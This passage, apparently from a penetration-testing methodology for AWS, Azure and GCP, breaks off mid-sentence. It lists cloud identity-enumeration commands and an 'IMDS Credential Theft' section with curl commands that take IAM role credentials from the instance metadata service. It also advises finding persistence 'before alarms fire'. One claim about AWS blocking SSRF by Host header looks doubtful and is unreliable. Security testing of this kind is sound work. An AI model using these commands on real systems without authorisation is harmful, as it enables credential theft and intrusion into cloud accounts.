offensive-cloud

# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology ## Quick Workflow 1. Identify the cloud and the identity context you have (user, role, service account, instance role) 2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list` 3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.) 4. Find the data and the persistence anchors before alarms fire 5. Document the kill chain with timestamps, identities, and resources for the report --- ## AWS ### Identity Discovery ```bash aws sts get-caller-identity aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}') aws iam list-attached-role-policies --role-name <role> aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \ --action-names "*" ``` ### IMDS Credential Theft ```bash # IMDSv1 (legacy) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> # IMDSv2 (modern, requires token) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 20...